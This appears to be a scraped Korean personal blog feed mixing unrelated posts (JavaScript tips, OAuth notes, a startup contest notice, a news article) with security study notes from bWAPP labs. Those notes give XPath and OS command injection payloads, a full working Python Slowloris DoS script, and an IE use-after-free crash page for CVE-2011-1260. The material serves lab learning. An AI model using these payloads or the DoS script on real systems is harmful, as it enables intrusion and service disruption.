A1 - Injection
OS Command Injection
동영상에서는 ; 등으로 테스트 하는데, windows 서버라 | (pipe, vertical var)로 하면 된다.
blind 의 경우,
명령어 >> 1.txt
로 파일을 만들어 해당 파일을 접근할 수 있다.
ren 이나, copy 명령어를 사용해 파일을 바꾸거나 txt 확장자로 교체해 소스 확인도 가능할 듯 하다.
del은 쓰지 말자.
A1 - Injection
OS Command Injection
동영상에서는 ; 등으로 테스트 하는데, windows 서버라 | (pipe, vertical var)로 하면 된다.
blind 의 경우,
명령어 >> 1.txt
로 파일을 만들어 해당 파일을 접근할 수 있다.
ren 이나, copy 명령어를 사용해 파일을 바꾸거나 txt 확장자로 교체해 소스 확인도 가능할 듯 하다.
del은 쓰지 말자.
제로보드 작업(15일차)
This isn't a big deal, but it was something I was fighting with for a bit. If you're trying to set the properties of a DIV via javascript, and you're getting the "document.getElementById("mydiv") has no properties" javascript warning, there's probably two big things that will cause it.
1) you didn't set the id.
Go back and make sure your div has id="mydiv" (or whatever you named it) in there.
2) the javascript is running BEFORE the div has been defined in the code.
This is what got me. I had the javascript code just above where the div was... and at load time, that div doesn't exist yet... the browser hasn't gotten that far down the page yet, so as far as it's concerned, that div with that id, doesn't exist. Once I moved the javascript BELOW the div... all was well.
And actually here - they suggest calling it on onload.
웹 마케터 !!!
zbxe 작업일지(10일차)
창업일지 - 면허세 납부
[backtrack] ms10_065_ii6_asp_dos
iis 6.0 취약점을 이용한 공격
<%
Dim variable
variable = Request.Form("FOOBAR")
%
위와 같이 변수 받는 내용이 있는 페이지여야 하며, 아래와 같이 RHOST와 URI 설정 후 run을 한다.
URI default 값은 page.asp 이다.
Microsoft IIS 6.0 ASP Stack Overflow (Stack Exhaustion) Denial of Service (MS10-065) 를 참고했다.
[oAuth2] 구글 스프레드시트 접근
기존 data query 로 visualization 을 사용하던 코드에서
Error in query: ACCESS_DENIED. This spreadsheet is not publicly viewable and requires an OAuth credential.
상기와 같은 에러가 발생한다면, 아래를 통해 authorization 관련 내용을 추가해야 한다.
https://developers.google.com/chart/interactive/docs/spreadsheets
demo.html, demo.js 로 적용 가능하며, 개발자 콘솔에서 client id를 생성하여 해당 문서들에 적용해야 한다.
1) 프로젝트가 없다면 생성
2) 사용자 인증정보 선택
3) 사용자 인증정보 만들기 - OAuth 2.0 클라이언트 ID
도메인 입력(최상단 도메인으로 하면 된다.)
demo.js 의 makeApiCall() 함수에서 oauth2 라는 전역 변수에 추가 파라미터를 입력하고
기존 visualization data query 호출 경로에 access_token 파라미터가 추가되도록 했다.
var srUrl = "https://docs.google.com/spreadsheets/d/[SS경로]/gviz/tq?gid=0"+oauth2;
창업일지 - 창업경진대회 출전
정보통신벤처창업경진대회에 많은 관심과 성원을 보내주셔서 대단히 감사드립니다.
지난 3월 14일에 마감된 제안서 대상으로, 3월 27일 전문심사위원 28명의 심사결과, 107명이 1차 선발되었습니다.<붙임 참조> 1차 선발된 107명은 4월 14일~17일(3박4일) 창업예비교육에 반드시 참석하여 주시기 바랍니다.(팀원 및 대리참석 가능)
o 1차 창업 아이템 제안서 심사결과
- 멀티미디어컨텐츠 분과 : 접수 58편, 1차 합격 29편
- 정보통신서비스 분과 : 접수 116편, 1차 합격 29편
- 소프트웨어 분과 : 접수 57편, 1차 합격 24편
- 기기및부품 분과 : 접수 73편, 1차 합격 25편
o 1차 합격자는 5月 5日까지 사업계획서를 제출 하시기 바랍니다.
<창업예비교육 개최 안내> o 1차 선발자 대상 교육
- 기간 : 2008. 4. 14(월)~ 17(목)(3박4일)
- 장소 : 충주 건설경영연수원
- 참가대상 : 1차 선발자 107명
- 팀당 2명까지 신청 가능합니다.
* 1차 선발자에 한하여 교육 프로그램 및 일정을 이메일로 연락드릴 예정입니다.
*** 일부 지원자 중 접수분과와 상의한 이유는 '08. 3. 19 개최 된 지원분야 재분류 회의에 따라 변동이 되었습니다.
[bWAPP] XML/XPath Injection (Login Form)
A1 - Injection
XML/XPath Injection (Login Form)
로그인 ID, PW 에 ' or '1'='1 을 넣으면 된다.
selene, Thor, johnny, wolverine, alice
wolverine' or 'a'='a--
PSAT(Public Service Aptitude Test)
공기업 채용때 PSAT 도입
[서울신문]이르면 올 하반기부터 공공기관 채용시험에도 공직적성평가(PSAT)가 도입될 전망이다.
또 PSAT와 같은 직무능력 검사 비중이 높아지고, 토익·토플 등 어학 성적 비중은 떨어진다.
기획예산처는 1일 이같은 내용의 ‘공공기관 채용방식 개선방안’을 마련, 올 하반기부터 적용한다고 밝혔다.
대상 기관은 우선 101개 공기업·준정부기관이며,197개 기타공공기관으로도 확대할 계획이다.
개선 방안에 따르면 어학 성적은 지원을 위한 최소한의 자격 기준으로만 활용된다. 어학시험 성적이 최종 합격의 결정적 기준이 되면 우수한 인재를 놓칠 수 있다는 판단에서다.
대신 직무능력검사가 도입되고, 면접이 강화된다. 특히 직무능력 검사과목으로는 PSAT 또는 PSAT와 유사한 모델이 검토되고 있다.
기획처 관계자는 “중앙인사위원회와 협의를 거쳐 이르면 올 하반기부터 희망 기관에 한해 PSAT를 활용할 수 있도록 지원할 계획”이라면서 “이와는 별도로 PSAT와 유사한 형태의 직무능력검사 모델 개발도 검토할 것”이라고 설명했다.
또 각 기관들은 국가 유공자, 장애인, 여성, 지방 인재 등에 대한 목표 채용 비율을 스스로 설정, 준수토록 할 방침이다. 이와 함께 오는 6월 말까지 각 기관들은 올 하반기 채용 규모·시기·방법 등의 정보를 ‘공공기관 경영정보 공개시스템’에 공개한다.
장세훈기자 shjang@seoul.co.kr
■ 용어 클릭
●PSAT(Public Service Aptitude Test) 공직 수행에 필요한 기본 지식과 소양, 자질 등을 평가하는 시험이다.2004년 외무고시 1차시험에 처음 적용됐으며, 올해부터 행정·외무·입법고시 등 모든 국가고시 1차 시험에도 채택됐다. 언어논리·자료해석·상황판단 등 3개 영역으로 구성돼 있다.
[Perl] RUDY, Slowloris 공격
http://advent.perl.kr/2012/2012-12-17.html
DoS 공격 중 탐지하기 어려워 방어가 용이하지 않은 slowloris 공격이 있다.
해당 공격 패킷을 Perl 로 작성한 예가 있는데, 직접 테스트 해 보았다.
$ sudo cpan IO::Socket::INET IO::Socket::SSL Devel::Trace::More
참조 경로에는 상기 명령어로 관련 라이브러리를 설치한다.
cpan 이나 필요한 것들이 있으면 더 설치한다.(OS 상황마다 다를 것이다.)
# ./app.pl -dns [타겟ip] -num [세션수] -timeout [유휴시간]
을 입력하면 문자열로 로고 비슷한 글자들이 출력되며 패킷 관련 내용이 출력된다.
와이어 샤크로 캡처해 보면, 새로운 세션들로(포트 번호가 증가하며) 접속 패킷이 전송된다.
웹서버에서도 netstat 로 여러 포트들이 연결되어 있는 것의 확인이 가능하다.
실제 공격은 불법이므로, 가상머신에서 테스트 해 보았다.
서버에서 허용된 세션 수를 초과하면 더 이상 접속되지 않는 것을 확인하였다.
[python]
import socket, random, time, sys
headers = [
"User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Accept-language: en-US,en"
]
sockets = []
def setupSocket(ip):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(4)
sock.connect((ip, 80))
sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))
for header in headers:
sock.send("{}\r\n".format(header).encode("utf-8"))
return sock
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Use it like this: python {} example.com".format(sys.argv[0]))
sys.exit()
ip = sys.argv[1]
count = 200
print("Starting DoS attack on {}. Connecting to {} sockets.".format(ip, count))
for _ in range(count):
try:
print("Socket {}".format(_))
sock = setupSocket(ip)
except socket.error:
break
sockets.append(sock)
while True:
print("Connected to {} sockets. Sending headers...".format(len(sockets)))
for sock in list(sockets):
try:
sock.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("utf-8"))
except socket.error:
sockets.remove(sock)
for _ in range(count - len(sockets)):
print("Re-opening closed sockets...")
try:
sock = setupSocket(ip)
if sock:
sockets.append(sock)
except socket.error:
break
time.sleep(15)
[XSS] 익스플로러 취약점을 이용한 클라이언트 공격
Post-mortem Analysis of a Use-After-Free Vulnerability (CVE-2011-1260)
로 제목이 되어있고, http://www.exploit-monday.com/2011/07/post-mortem-analysis-of-use-after-free_07.html
에 소개되어 있다.
<html>
<body>
<script language='javascript'>
document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
document.body.innerHTML += "AAAAAAA";
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
</script>
</body>
</html>
위 코드가 있는 페이지에 접속하면 ie에 오류를 일으킬 수 있고, 영문 XP pro 에서는 다운까지 시킬 수 있다고 한다.
이거 말고도, 쉘 탈취도 있는데, http://vimeo.com/10171900
동영상을 참고할 수 있다.
XSS 가 세션, 쿠키 탈취, CSRF 정도만 되는 줄 알았는데, 쉘탈취 까지 될 줄이야....
[C#] dll 변조
C#으로 된 dll은 reflector로 decompile 한 코드를 확인하고,
IDA 로 HEX 위치를 확인해,
ULTRA EDIT로 편집해 변조(패치) 가능하다.
C# DLL이 포함된 모바일 앱(안드로이드 apk)의 경우 이런 식으로 가공하면, 설치 후 사용할 수 있다..
[bWAPP] CSRF (Change Password)
A8 - Cross Site Request Forgery
CSRF (Change Password)
패스워드 변경 경로를 삽입하여 타 계정으로 로그인한 사용자의 비밀번호를 변경한다.
이체 경로를 삽입하여 상대방 계좌의 금액을 차감 한다.
[bWAPP] XML/XPath Injection (Search)
A1 - injection
XML/XPath Injection (Search)
~/bWAPP/xmli_2.php?genre=action%27)]/password%20|%20//hero[contains(genre,%20%27horror&action=search
genre=action')]/password | //hero[contains(genre,'horror
'|' 를 이용해 앞 단에 password 노드를 출력하도록 입력하고 뒤에는 오류가 나지 않도록 완성시킨다.
댓글 달기